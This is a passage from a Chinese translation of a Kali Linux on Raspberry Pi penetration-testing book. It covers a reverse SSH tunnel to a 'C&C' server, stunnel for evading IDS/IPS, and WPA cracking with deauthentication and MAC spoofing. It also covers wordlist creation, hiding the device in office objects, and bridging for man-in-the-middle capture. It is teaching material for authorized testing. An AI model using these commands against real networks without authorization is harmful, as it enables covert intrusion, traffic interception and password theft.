3．然后进入解压出来的目录，会看到如图2-7所示的若干文件。

[image: index-48_3]


图2-7

4．在终端窗口输入如下命令
[3]

 ：



dpkg -i triggerhappy_0.3.4-2_armel.deb


dpkg -i lua5.1_5.1.5-4_armel.deb


dpkg -i raspi-config_20121028_all.deb






安装以上文件后，就可以启用raspi-config程序了。这个应用可以控制树莓派的某些硬件特性。但早前也警告过，除非明确了解所改配置的具体含义，否则不要乱改默认值。

通常，树莓派Model B+ 运行在1000MHz上没什么问题。但个体差异会导致性能也会不同，所以超频仍有可能给树莓派带来永久性的损害。同时超频也会使原本的保修条款无效。

图2-8展示了raspi-config命令的菜单项。
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图2-8

设定的参数如下
[4]

 ：


	arm_freq为1000

	gpu_freq为400

	sdram_freq为500

	over_voltage为6

	gpu_mem为128



修改了硬件设置后，可以从命令行输入dmesg命令，观察是否有报错日志。曾有很多人把GPU速率设置为500 MHz都没问题；但我的树莓派这么设置并运行了几天后，就看到系统里不断地报错，只好把速率再降回400 MHz，就完全没问题了。

2.5　设置无线网卡

为树莓派准备的Wi-Fi无线网卡不但要适合树莓派，还得在Kali Linux下也能正常工作才行。幸运的是，绝大多数的Wi-Fi无线网卡都可以同时在树莓派和Kali Linux下使用。在本书中，使用的是CanaKit USB Wi-Fi网卡，如图2-9所示。
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图2-9

CanaKit公司出品的广受欢迎的树莓派套装中就包括这款Wi-Fi网卡。当然也可以单独购买。如果需要单独购买Wi-Fi网卡，请确保它支持Debian Linux。
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以下网址包含详实的树莓派兼容网卡信息，可供参考：http://elinux.org/RPi_USB_Wi-Fi_Adapters




接好Wi-Fi网卡后，先确认系统是否能正常工作。方法是在终端窗口输入iwconfig命令，如图2-10所示。
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图2-10

看到的wlan0接口就是新的无线接口。下一步就是启用这个接口。可以执行ifconfig wlan0 up命令，如图2-11所示。
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图2-11

这时候无线接口应该就启用了，可以开始扫描无线网络。需要再来测试一下无线网卡以确保工作正常，同时也评估一下当前区域的无线环境。输入iwlist wlan0 scanning命令，如图2-12所示。
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图2-12
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很重要的一点，扫描出来的绝大多数无线网络是2.4 GHz频段的。因为绝大多数无线网卡是2.4 GHz 802.11 b/g制式的。根据需求可以更换不同型号的网卡。



执行iwlist wlan0 scanning命令会显示当前区域内找到的AP接入点的SSID和MAC地址等信息。图2-13是扫描一个无线实验室网络的截屏，这个AP的MAC地址是0E:18:1A:36:D6:22，同时也能看到这个AP使用的传输频道是36。
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图2-13

这样就设置好树莓派的Kali Linux的无线网络了。

2.6　设置Kali Linux使用的3G USB上网卡

要把远程访问做得神不知鬼不觉，还可以在Kali Linux里通过3G USB上网卡，将树莓派接入手机蜂窝网络。各款上网卡会略有不同，所以各家3G卡类型和服务商的设置方式也会略有差异。推荐使用MiFi（Mobile Wi-Fi的缩写，也叫随身Wi-Fi）做热点，这样Kali Linux就能用Wi-Fi网卡接入网络了；当然，如果确实要用3G USB上网卡，请确保它能在Debian环境下工作。

在以下例子中，使用的是华为3G USB上网卡。这款3G USB上网卡可以在全球绝大多数频道下使用。

以下是设置这款3G上网卡的步骤。

1．打开终端窗口，输入以下命令：



wget http://www.ziddu.com/download/22764375/3gusbmodem. zip.html






2．输入unzip命令解压该文件。

3．切换到解压出来的目录下。

4．使解压出来的文件变得可执行，输入chmod +x 3gusbm*。

5．输入./3gusbmodem --interactive运行脚本。

6．脚本运行需要几分钟，请耐心等待。中间出现提示时，请选择Kernel模块。
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然后需要选择自己的接入点名称（Access Point Name，APN）在对应的手机运营商里。可能还需要知道用户名和密码，才能登录移动运营商的APN。



上述步骤完成后选择OK按钮，很快就可以成功连上3G网络了
[5]

 。

2.7　设置SSH服务

Secure Shell（SSH）可以做到身处远程，也能完整地操作树莓派上的Kali Linux。命令行是管理Linux的最常用方式。由于大部分的渗透测试并不需要用到图形界面的Kali Linux，建议尽量使用SSH或其他命令行工具。部分Kali Linux默认就启用了SSH服务，但有部分还需要手工安装OpenSSH服务。

首先需要确认SSH服务是否已经安装。输入以下命令service --status- all检查SSH服务是否在运行。如果像图2-14所示的那样看到ssh前面有个+加号，则一切就绪。如果看到的是-减号，则需要手工安装OpenSSH服务。
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图2-14

要安装OpenSSH服务，打开命令行终端，输入apt-get install openssh-server安装SSH服务。启动SSH服务，输入service ssh start命令，如图2-15所示。
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图2-15

启动SSH服务后，就需要将SSH服务加到系统自启动中，保证重启后服务自动运行。首先，执行update-rc.d -f ssh remove命令去除SSH在相关运行级别里的设置，具体见图2-16。
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图2-16

然后执行update-rc.d -f ssh defaults命令，加载SSH的默认设置，如图2-17所示。
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图2-17

这样，SSH自启动在Kali Linux系统下就设置好了，以后会保持自启动。也就可以随时重启系统，而无需额外配置就能运行SSH了。

2.8　SSH默认私钥和管理

此时树莓派就可以通过SSH做远程管理了，这挺不错的。但是，如果有另一套也是默认安装出来的OpenSSH，就非常容易获得对应的私钥。修改私钥这一步是可选步骤，但最好改掉。毕竟，如果自己的渗透测试机器反而被人黑了，还是会感到颜面扫地的。

下面就是Kali Linux系统创建新的SSH私钥的过程。


[image: 提示.tif]




确保是直接用键盘在Console控制台下执行以下步骤的。不要在现有SSH会话里执行这些步骤。



1．在终端或命令行里，将默认的SSH私钥文件移到备份目录。



cd /etc/ssh/


mkdir default_kali_keys


mv ssh_host_* default_kali_keys/






2．执行以下命令生成新的私钥文件，观察屏幕上的提示信息。



dpkg-reconfigure openssh-server


Creating SSH2 RSA key; this may take some time ...


Creating SSH2 DSA key; this may take some time ...


Creating SSH2 ECDSA key; this may take some time ...


[ ok ] Restarting OpenBSD Secure Shell server: sshd.






图2-18显示了这个过程。
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图2-18

最后一步是执行命令service ssh restart重启Kali Linux上的SSH服务。

2.9　通过SSH做反向Shell

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后，首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统，可以通过SSH控制整个系统；然而，从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施，以拦截接入的连接，避免自己的网络被开后门。在白盒评估测试中，也许可以明确地要求在防火墙上开放端口设置，以访问到树莓派的SSH服务，如图2-19所示的那样。但即使公司政策不反对这一做法，但实际操作中很难实现，因为使用场景涉及多个地点，它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。
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图2-19

在反向连接中，是由客户端连向服务器端，也是由它初始化到服务器端的连接，而不是服务器连到客户端。当然在这两种情况下，都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便，我们把这种技术用于系统管理。
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许多入侵检测和拦截系统都会检查出SSH类型的流量，无论是从哪个端口进出。例如，即使同样采用443端口，SSH流量和常规的HTTPS也还是会有差异。



使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态，等待接受反向SSH连接。在设置的场景里，C&C服务器就是监听端。远程主机（树莓派）上使用的命令语法是：ssh -R [绑定的地址:]远程端口：本地主机:本地端口
[6]

 。

R开关定义了远端树莓派要和哪个外网端口连接，以及如何发起连接。换而言之，还需要选择一个外网端口，让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格，使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口，也就是客户端通常可以自由地连接外网这些端口。
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某些严格限制外连的协议检测设备，如下一代防火墙、下一代IPS（入侵检测系统）和高级代理服务器可能会阻断这些连接。



本地端口是树莓派上某个服务的监听端口。在本场景中，运行的是SSH服务，所以本地端口默认是22。也可以把默认端口改得更隐秘些，或者使用加密通道，这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口，它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里，输入以下命令：



ssh -fN -R 7000:localhost:22  C&C

服务器端用户名@C&C

服务器IP

地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133






上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用，那就再换一个。如图2-20所示，大多数机构都允许外连到443端口。
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图2-20

所以根据图2-20的情况再换一个外连端口试试，在树莓派上执行如下命令：



ssh -fN -R 443:localhost:22 root@192.168.162.133






在C&C服务器端，打开命令行终端，输入以下命令：



ssh root@localhost -p 443






根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后，命令行提示符变了。我们实际上已经登录到远程的树莓派上，可以完全控制它了，关系如图2-21所示。
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图2-21
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要确保已安装OpenSSH服务并处于运行状态，否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数，确保树莓派默认重启后会启动SSH，这点很重要。



这项技术叫反向shell tunneling（命令行通道）。可以选择任意源端口，如53端口，这通常是DNS服务的端口；或者80，这通常是HTTP服务的端口。但请记住，修改端口号并不意味着底层对应的协议也跟着变了。

2.10　Stunnel加密通道

很多管理员都会部署网络检测技术，如IDS/IPS来发现和阻止VPN连接。要绕过这种检测，其中一个办法是使用加密通道（简称stunnel）技术。stunnel会把客户端和服务器端两边的通信用SSL再封装一次。它使用工业标准的加密库如OpenSSL等，对远程客户端和服务器的通信进行SSL加密。Stunnel的好处在于，它为各种常规网络服务如POP2、POP3和IMAP提供了SSL功能但却不需要改动具体程序的代码。

要使用stunnel，首先需要使用命令apt-get install stunnel4 -y获得代码，如图2-22所示。
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图2-22

系统可能会提示说已经安装好最新版本的stunnel程序了。

接下来需要在/etc/stunnel/目录下新建一个名为stunnel.conf的配置文件。可以用自己习惯的文本编辑器nano或vi来修改这个文件。

将以下配置加进stunnel.conf文件里。可以自行修改其使用的端口，以更符合自己的需求。



client = no


[squid]


accept = 8888


connect = 127.0.0.1:3128


cert = /etc/stunnel/stunnel.pem






图2-23展示了stunnel.conf文件中的配置。
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图2-23

下一步是执行以下命令生成私钥：



cd /etc/stunnel/


openssl genrsa -out key.pem 2048


openssl req -new -x509 -key key.pem -out cert.pem -days 1095


cat key.pem cert.pem >> /etc/stunnel/stunnel.pem


sudo bash


cat server.key > server.pem && cat server.crt >> server.pem


chmod 400 /etc/stunnel/server.pem


[7]








证书生成好后，再执行编辑命令sudo nano /etc/default/ stunnel4，进一步配置stunnel。

命令会打开相应的配置文件。将其中的Enabled = 0
[8]

 改为Enabled = 1。然后再执行sudo nano /etc/stunnel/stunnel.conf命令，打开stunnel.conf文件，并把以下配置添加到文件里
[9]

 ：



sslVersion = all


options = NO_SSLv2


cert = /etc/stunnel/stunnel.pem


[10]




pid = /var/run/stunnel.pid


output = /var/log/stunnel


[openvpn]


client = no


accept = 993


connect = 34567






再执行以下命令创建firewall.sh文件，用于设置树莓派的防火墙策略：



sudo nano /usr/local/bin/firewall.sh






其内容为：



#!/bin/sh


iptables -A INPUT -p tcp --dport 993 -j ACCEPT
[11]










下一步是执行以下命令重启stunnel服务：



/etc/init.d/stunnel4 restart






最后一步是在Kali Linux树莓派上安装Squid代理服务器，执行命令：apt-get install squid3 -y
[12]

 。

2.11　安装Stunnel客户端

现在再来安装Stunnel客户端。可以在https://www.stunnel.org/downloads.html
 页面里下载Windows版Stunnel客户端程序。

图2-24就是Stunnel客户端的安装程序图标。
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图2-24

安装完成后，打开Windows里stunnel的安装目录，通常位于：C:\Program Files\stunnel。

将Kali上创建的stunnel.pem证书文件原样复制到Windows客户端的同一个目录下。

然后打开stunnel.conf配置文件，替换原内容为（如果使用的端口和例子里的不一样，请相应地调整自己的端口设置）：



cert = stunnel.pem


client = yes


[squid]


accept = 127.0.0.1:8080


connect = 

[服务器端的公网IP]:8888






保存并关闭这个文件。然后运行stunnel.exe程序，会看到配置页面显示如图2-25所示。
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图2-25

然后就可以根据配置文件里accept设置的IP和端口，安全地连上树莓派了，具体见图2-26。
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图2-26

2.12　用例子总结以上步骤

回到本章开头的那个例子，复习一下在真实世界里是怎样运用本章的内容。回顾以下场景，我们的客户在全球不同地点都有办公地址，需要对每个地方进行渗透测试，但报价要适宜。为达成这个挑战，需要给每个地点组装好一套运行Kali Linux的树莓派，价值在100美金以内。我们给每个办公地点寄一套树莓派过去，由当地的人将树莓派接入本地网络。连接的方式和用到的工具会在下一章里讲到。

各地办公场所的人并不清楚我们要做什么，因此需要自己想办法突破已有的安全机制，如禁止外连的防火墙。要做到这点，我们利用邮件端口设置stunnel加密通道，在远端用一台运行Kali Linux的MacBook来连接各地的树莓派。这样就有一个主控的点，可以控制每台树莓派，并由这台机器分担大运算量的任务。这时候，就可以身处美国办公室，在各个树莓派上发起攻击了。

这种远程部署的方式，比起跑到每个办事处，然后按白天和夜晚计费，在初始预算上就大大降低了。客户们会很愿意为每个地点掏几百美金，支付这点硬件费用，因为大大节省了搭建环境和差旅的时间。在硬件开销之外，我们只需要收取渗透服务的费用，所以整个项目的费用很合理，结果也很成功。

总结

在本章中，我们学习了在渗透测试环境里，如何在树莓派上定制和运行Kali Linux。内容还包括性能调优，以及如何尽量使用命令行方式，少用GUI图形工具的最佳实践。

本章还花了比较大的篇幅介绍如何设置处于远程的C&C服务器，以减轻树莓派上处理的任务和导出树莓派上的数据（第3章会介绍如何导出数据）。这部分涉及如何在树莓派和C&C服务器之间建立通信。连接的方式包括SSH、HTTPS和其他形式的通道。另外还讨论了当树莓派位于防火墙后面时，如何通过反向shell通道连回C&C服务器，进行远程管理的方法。

在本章之后，就可以开始进行渗透测试了。在下一章，将通过树莓派上的Kali Linux进行渗透测试的练习。




[1]
 　译者注：原文是hidden in a printer power cable，颇令人费解，一根cable要怎么藏一个树莓派啊！酌情译为“变压器”。


[2]
 　译者注：以上这些文件现已不存在或已不适用于主流的树莓派系统。


[3]
 　译者注：以上步骤实际上已完全不适用于当下主流的树莓派2及3版本，建议换以下地址下载所需的安装文件：

http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-8_armhf.deb


http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2+b1_armhf.deb


http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20160225_all.deb


http://http.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.28-1_armhf.deb


再执行类似dpkg -i raspi-config_20160225_all.deb等命令安装以上软件包。


[4]
 　译者注：现在的树莓派里已经没有这样的设置了，直接选择overclock再选择里面更高频的配置组合即可。


[5]
 　译者注：实际上本节安装步骤已无参考意义，只要输入以下命令即可：




apt-get install ppp
apt-get install sakis3g





[6]
 　译者注：原文是ssh -R [bind_address:]port:host:hostport，但这行命令的写法并不完整，请以下文举例为准。


[7]
 　译者注：这一节最后三句命令貌似无用。上面创建stunnel.pem的步骤已经完整了。这里的server.pem感觉跟前后文无关。


[8]
 　译者注：这里在实际环境中应为Enabled，但作者似误为enable，酌情修改。


[9]
 　译者注：这一段酌情调整。


[10]
 　译者注：这里原文是server.pem，但和上面生成证书的步骤对不上。酌情改回stunnel.pem。


[11]
 　译者注：这段略作调整，iptables应该全小写，shell文件前面应该有#!那句（当然我猜作者认为大家都知道这点了），dport前面是两个-横线，不是一个。另外少了执行./firewall.sh脚本的步骤。


[12]
 　译者注：这一段似游离于上下文，后续并没有再写squid的用法和配置。








第3章　渗透测试

行文至此，我们已经介绍过如何搭建树莓派，如何安装Kali Linux，以及通过各种远程访问方式，把树莓派用于渗透测试。现在开始学习如何在目标网络里捕获数据。本章将带您领略如何使用Kali Linux里专为树莓派进行过优化的默认自带工具，以及apt-get命令额外下载的各款工具，对LAN网络和无线网络进行各种攻击的场景。Kali Linux本身自带和在线能下载到的工具可谓五花八门，但是这里会专注于那些能在树莓派上正常使用的软件。

本章讲解了以下内容：


	网络扫描；

	Nmap；

	无线安全；

	破解WPA/WPA2；

	创建破解字典列表；

	捕获网络上的流量；

	从树莓派导出数据；

	优化网络捕获；

	通过脚本方式导出tcpdump结果，以便用于外部分析；

	Wireshark和tshark；

	使用SSLStrip破解HTTPS。
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由于受树莓派大小和处理能力限制，树莓派的性能也有限。强烈建议先在实验室环境里测试后文提到的各种技术，而不是直接把它放在真实的渗透测试中使用。



3.1　网络扫描

网络勘察往往很费时，但对渗透测试来说，这又是至关重要的一步。越了解自己的目标，越容易找到最快最便捷的成功之道。最好的做法是，刚入手时尽量不与目标做一对一的交互；当然，逐渐深入了解后，会接触到具体的目标。在接触之后，就需要确认目标系统里开放了哪些端口，并摸清楚其所连接的网络环境。通常，一旦攻入了系统，就可以再继续扫描网络的另1个网段，获得目标网络中更深入的访问权限。第4章会再继续讨论这个话题。

树莓派的优势是体积小，便携性高。一般来说，Kali Linux作为攻击系统是运行在目标网络外部的。然而，类似PWNIE Express
[1]

 这类工具，或者某些运行Kali Linux的小型系统如树莓派，就可以放到目标网络内部，通过第2章中提到的远程方式进行管理。这样攻击者在执行内部勘察时，就得以进入网络内部，绕过了常规的边界防护。这种方式最显著的难点就是要物理地把这套系统放进网络中，并能与之远程通信而不被检测到。但如果可行，这种方式就很高效了。

下面就来接触几种最常见的网络扫描方法。假设已在目标网络中设好内应点，现在希望能充分了解当前连着的网络。

3.1.1　Nmap

要扫描网络中的主机和服务，最流行的开源工具就是Nmap（为Network Mapper的缩写）。Nmap的高级功能可以检测系统里运行的不同应用，还提供如操作系统特征识别这样的服务。Nmap效率很高，然而，如果使用不当，用它做扫描很容易被发现。建议只在特定的场合下使用Nmap，以免触发目标网络的防御系统。
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关于Nmap的更详细信息，请参见http://nmap.org/
 。



要使用Nmap扫描本地网络，可以打开终端窗口，再输入nmap（目标），例如，nmap www.somewebsite.com或nmap 192.168.1.2。有很多其他参数可以调整扫描方式。例如，调整为某种隐秘的扫描模式，或把扫描结果保存到指定位置。图3-1展示了扫描www.thesecurityblogger.com 主机后的结果。请注意这是示例的情况，而且这种扫描方法可算是大肆张扬了。如果输入了上述两条命令，目标机器很可能会发现在用Nmap扫描。
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图3-1

关于Nmap的各种特性，网络上有丰富的资料。在本章后面部分也会有例子再加以说明。

以下是最常用的nmap命令参考列表。


	nmap 192.168.1.0/24：扫描整个C类网段。

	nmap -p <端口范围>：扫描特定端口。

	nmap -sP 192.168.1.0/24：扫描网络，找出当前在运行的服务器和设备。

	nmap -iflist：显示主机接口和路由。

	nmap -sV 192.168.1.1：检测远程服务的具体版本号。

	nmap -sS 192.168.1.1：执行隐秘模式的TCP SYN扫描。

	nmap -sO 192.168.1.1：进行IP协议扫描。

	nmap -92.168.1.1 > output.txt：将本次扫描的输出保存为文本文件
[2]

 。

	nmap -sA 192.168.1.254：检查主机是否受到防火墙的保护。

	nmap -PN 192.168.1.1：有防火墙保护时的扫描模式。

	nmap --reason 192.168.1.1：显示当前端口处于某种状态的判断依据

	nmap --open 192.168.1.1：只显示处于打开或可能打开的端口
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Nmap的图形化界面软件Zenmap未包含在Kali Linux ARM版本的映像文件中。也不建议在树莓派的Kali Linux里弃nmap命令行方式而用图形界面。



3.1.2　无线安全
[3]



装有Wi-Fi网卡的树莓派还可以攻击各种无线设备如手机、平板电脑和笔记本电脑等。只要连上无线网络，扫描的方法和局域网基本类似。然而，要想连上无线网络，往往会碰到密码解密层面的问题。另外，无线网络标识符也就是SSID（Service Set Identifier）也可能已被设为隐藏模式，未对外广播，但只要使用恰当的工具，仍然可以找出隐藏SSID值。这一节包括如何绕开已有的无线防护手段，成功访问到目标Wi-Fi网络，以便执行本书中的各种渗透测试。

树莓派上安装Kali Linux的其中一个使用场景，就是便于将它藏在目标网络内部或附近，并远程发起无线攻击。目标是令树莓派以无线方式接入该网络，并让攻击者可以从远程连进网络。攻击者可能就在附近使用无线方式控制树莓派，直到它破解了目标网络的无线接入。一旦能连入目标网络，攻击者就可以与后门程序建立连接，在任意位置与树莓派进行通信并发起攻击，具体参见第2章中的介绍。在4.5节会详述怎么使用恶意接入点来构造这种攻击。

3.2　破解WPA/WPA2
[4]



最常见的保护无线网络的安全协议为WPA（Wi-Fi Protected Access）协议。WPA后来被WPA2取代，做无线渗透测试时很大概率会碰到它。

可以用Aircrack破解WPA和WPA2。Kali Linux包含了Aircrack套装，在破解无线安全方面，它是最受欢迎的程序。Aircrack先收集在无线连接里拦截到的数据包，然后通过算法分析数据，破解较弱的协议，如Wired Equivalent Privacy（WEP），或者用字典列表来暴力破解捕获到的数据。

无线客户端和接入点之间四步握手的弱点，导致WPA/WPA2存在破解可能。总体来说，客户端会对接入点进行认证，并完成一个四步的过程。此时攻击者就可以抓取到密码，并用暴力破解的方式验证密码。整个过程中，破解所需耗费的时间取决于网络密码的独特性，使用的字典列表的涵盖度，以及系统的处理能力。可惜的是，树莓派的处理能力欠缺，也没有足够大的空间来存放更大的字典文件。因此，用离线的方法破解密码，如使用工具John the Ripper可能更合理。建议破解大多数WPA2的时候都使用这种方式。

下面就在树莓派的本机上，破解运行在Linksys WRVS4400N无线路由器上的WPA协议。之所以用WPA做例子，是由于耗时的破解过程在树莓派上可以较快完成。而在树莓派上破解大多数WPA2则需要很长的时间。当然，以下步骤也是可以在效率更快的离线机器上运行的。

步骤如下。

1．启动Aircrack，打开终端窗口并输入airmon-ng，如图3-2所示。
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图3-2

2．在Aircrack里，需要先选择在哪块网卡上做破解。在图3-2中，Wi-Fi网卡是wlan0。这是插在树莓派上的USB无线网卡。

3．建议在破解别人的无线网络时，隐藏自己的Mac地址。Kali Linux ARM版本没有包含macchanger这个程序。因此，需要在终端窗口里先使用udo apt-get install macchanger下载。还有别的办法可以修改Mac地址，但macchanger可以提供一个假冒的Mac，这样网卡设备看起来就像一个普通的网络设备如打印机。这对躲避检测也许比较有效。

4．然后，因为要修改Mac地址，需要先停用一下那块网卡接口。在这个例子中，就是要使用以下命令来停止wlan0。



 airmon-ng stop wlan0


 ifconfig wlan0 down






5．现在需要修改这块网卡的Mac地址，隐藏真实身份。使用macchanger将网卡Mac地址改为一个随机的值，并指定给这个接口。还有别的选项参数可以将网卡切换成其他类型的设备。在本例子中，只需要给网卡指定一个随机Mac地址，输入命令：



 macchanger -r wlan0






这里随机Mac地址为b0:43:3a:1f:3a:05，图3-3所示的macchanger显示这块网卡的新Mac信息为未知（unknown）。
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图3-3

6．此时的Mac就是伪造的，用以下命令重启airmon-ng：



 airmon-ng start wlan0






7．需要先确定当前有哪些无线网络，这样才能从中选择攻击目标。执行以下命令：



 airodump-ng wlan0






8．这时候可以知道当前树莓派附近有哪些网络，可以选作攻击目标。一旦确定了攻击目标，就可以停止搜索了，按下Ctrl+C键。记下所选目标网络里的Mac地址也叫BSSID，以及频道号也叫CH。图3-4显示了目标为ESSID叫HackMePlease在CH 6上运行WPA。
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图3-4

9．下一步是针对复制下来的Mac地址，再继续运行airodump抓包。执行的时候还需要以下信息：


	

	目标网络使用的频道号；

	复制下来的Mac地址（BSSID）；

	保存数据时使用的文件名。







然后按以下方式运行airodump命令：



airodump-ng -c [

频道号]-w [

用于记录的文件名]--bssid [

目标网络的 


ssid] wlan0






执行后，会打开一个新的窗口。让这个新窗口维持打开的状态。

同时再打开另一个新窗口，用于连接目标无线网络。这次执行的是aireplay命令：



aireplay-ng --deauth 1 -a 

[目标网络BSSID

]-c

 [我们网卡的BSSID

] 
[网络接口]




以这个例子来说，命令执行差不多是这样：



aireplay-ng --deauth 1 -a 00:1C:10:F6:04:C3 -c 00:0f:56:bc:2c:d1 


wlan0
[5]










图3-5所示为上述命令执行后的效果。
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图3-5
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但执行这条命令时未必能获得完整的握手过程。如果的确如此，只能静静地等到某位合法用户访问该接入点时，才能获得攻击所需要的授权过程。如果无法创建一个完整的握手过程，并获得他人的登录授权信息，Aircrack的输出信息中可能会显示若干带有Opening [file].cap信息，后面还跟着No valid WPA handshakes found（未检测到有效的WPA握手）字样的提示。如果看到这些提示，就没必要执行后续步骤了，除非能获得一次完整的握手过程。



10．最后一步是用Aircrack破解捕获的数据，以获得WPA密钥。使用-w选项可以指定使用哪个字典文件来扫描捕获的数据。此时需要用到步骤9中创建的.cap文件，因为在本例中使用capturefile.cap文件名。需要执行以下命令：



aircrack-ng -w ./wordlist.lst wirelessattack.cap


[6]
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Kali Linux ARM版映像文件中默认没有包括用于破解密码的wordlist.lst文件，通常默认的字典文件也不够全面。所以建议使用谷歌查找一些更全面的字典文件（参见下一节字典文件的介绍，可获得更多信息）。要留意自己树莓派上的硬盘空间，因为如果直接在树莓派上使用大量的字典文件，空间占用就太大了。最好的做法，还是把这种需要大量处理步骤的操作，如破解密码，在更强大的系统上以离线的方式来完成。



这时候Aircrack开始尝试利用字典文件中的密码破解捕获的数据。这个时间长短取决于密码的复杂度、字典文件里密码的数量以及树莓派的处理速度，此过程可能颇要持续一段时间。时间跨度从几小时到几天都有可能，这个过程非常枯燥繁琐，最好还是放到比树莓派更强处理速度的外部系统上运行。而且在运行了好几天，好不容易把整个字典文件都跑完之后，依然有可能落空。
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如果输入命令后，Aircrack却没有运行，并未尝试用键值碰撞出密码，那原因多半是命令里没有指定 .cap文件或字典文件wordlist.lst的位置，也可能捕获的数据里就没有完整的握手数据。默认情况下，上述文件都存放在/root目录下。可以将字典文件从别处移到root目录来模拟上述命令的执行，因为这里是把所有的文件都放在root文件夹内。可以输入ls命令确认一下当前目录下的文件。确保查看的是正确的目录，命令执行时所需的文件都在该目录下。



如果攻击成功了，就能看到类似图3-6中提示的，已确认密码为sunshine。
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图3-6

最后的第10步最好在远程机器上执行。可以在远程机器上设置好FTP服务器，将.cap数据文件推送到FTP服务器上或使用3.7节谈到的方式上传数据文件。
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请阅读以下这篇文章，获得关于设置FTP服务器的更详细信息http://www.raspberrypi.org/forums/viewtopic.php?f=36&t=35661




3.2.1　创建字典文件

有很多途径和工具可以创建攻击所用的词语列表。其中很受欢迎的一款工具叫CeWL（Custom Wordlist Generator，自定义字典生成器），就用于创建自定义的字典文件。如果攻击目标是个人，先用它来搜刮对方的博客、领英页面或其他相关站点的常用字眼，就非常有帮助。CeWL默认不在Kali Linux ARM映像文件里，需要额外执行apt-get install cewl来下载这个程序。

要使用CeWL，先打开终端窗口，输入目标的网站地址。CeWL会检查该URL并根据在该页面上找到的不重复的单词创建字典列表。在以下例子中，针对安全博客www.drchaos.com
 创建一份常用单词的字典文件，使用以下命令：



cewl www.drchaos.com -w drchaospasswords.txt






图3-7显示了执行上面这条命令后的屏幕截图。
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图3-7

在互联网上，也很容易找到许多常用的字典列表文件。以下是部分可供参考的字典例子。当然，也可以考虑在谷歌里自行搜索。


	
https://crackstation.net/buy-crackstation-wordlist-password-cracking-dictionary.htm
 
[7]



	
https://wiki.skullsecurity.org/Passwords




以下是本书其中一位作者整合到一起的字典文件：http://www.drchaos.com/public_files/chaos-dictionary.lst.txt
 
[8]

 。

3.3　捕获网络流量
[9]



如果能接入目标网络就太棒了！当然，一旦在网络里扎下营了，下一步通常就是检视数据了。要做到这一点，需要有办法捕获和查看网络上的数据包。也就是要把树莓派变成一个可以远程访问的网络陷阱。
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许多此类工具可能令树莓派超出负载，系统崩溃。请参考建议：使用调优的方式避免产生此类问题。



3.3.1　tcpdump

tcpdump是命令行形式的包分析工具。可以使用tcpdump拦截和显示TCP/IP及在系统中传输和附加的其他数据包。这也意味着树莓派必须能访问到希望检视的那个网络的流量，否则tcpdump就无法提供任何有用的数据。Kali Linux ARM映像文件中也默认没有tcpdump程序，需要执行sudo apt-get install tcpdump来安装。

安装后，只需要打开终端窗口，输入sudo tcpdump。在输入这条命令后，可以观察流经树莓派的数据流，如图3-8所示。
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图3-8

如图3-8所示，如果树莓派没有捕获到想要的流量，那就不怎么值得看了。基本上，看到的只是把树莓派接到802.1X交换机后流经自己的流量而已，这实在有点无趣。

让我们来看看怎样让其他系统的数据流过我们的树莓派吧。
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运行tcpdump会消耗大量的树莓派处理能力。测试发现仅运行tcpdump就有可能拖垮树莓派，如果再联合其他程序一起使用就更堪忧了。建议调整数据捕获的策略以避免这种情况。调整数据捕获的内容会在本章后段进行介绍。



3.4　中间人攻击（Man-in-the-middle）

常见的捕获敏感信息的方法是使用中间人攻击。中间人攻击的定义是，攻击者直接和被攻击者连接，同时频繁活跃地监听他们之间的通信。通常这种情况发生在一台主机和某些系统之间。例如，常见的密码截获方式就是在用户发送登录身份的主机和Web服务器之间做中间人攻击。本节将会介绍使用Kali Linux中自带的工具，如何进行若干种常见的中间人攻击。

下面是几种使用树莓派做中间人攻击，获得数据的具体方法。

3.4.1　从树莓派获得数据

要获得树莓派的数据有好几种做法。其中一种做法是用两块有线网卡把树莓派串进两个系统之间。这需要一个USB接口的网卡，并通过网卡将树莓派接入网络中。在图3-9所示的例子中，树莓派其中一块网卡和Windows笔记本电脑相连，另一块与网络交换机相连。其中有一块网卡就是USB接口的网卡。
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图3-9

在真实的渗透测试中，可以随心所欲地改装树莓派的外壳，模拟成电源变压器或者网络集线器，来隐藏攻击系统。通常普通人如果看到网络设备上连着个小盒子，这小盒子在那里看起来也很理所当然，就压根不会劳神去关注它。在一次有授权的渗透测试里，我们曾将树莓派与办公室用具整合在一起，如用一个空心的闹钟来隐藏它。

需要树莓派配置成双向连接目标系统网口和网络端网口的网桥，以观察到流量，否则流量一旦到达树莓派也就结束了。在配置桥接之前，要先安装用于桥接两端网口的程序。安装的方法是执行apt-get install bridge-utils命令。一旦安装好了，下一步就是把树莓派配置成网桥的步骤，以便用于网络监听。
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这种方式设置的树莓派，也适用于做入侵检测/拦截。这些内容会在第6章中再详述。



1．需要先把两个网卡都设置为开放的IP地址，也就是设置为0.0.0.0。要实现这点，需对2块网卡分别执行命令ifconfig eth[网卡编号] 0.0.0.0。



 ifconfig  eth0 0.0.0.0


 ifconfig  eth1 0.0.0.0
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此时一定要确保已经下载并安装好桥接所需的应用，否则就需要重新设置与互联网端相连那块网卡的IP地址，这样才能下载到所需应用。或者安装一个USB无线网卡或有另一块USB有线网卡，才能使树莓派连上网络，继续下载需要的应用。



2．将两个网卡桥接成bridge0接口，使用命令brctl按如下添加两端的接口。



brctl addbr bridge0


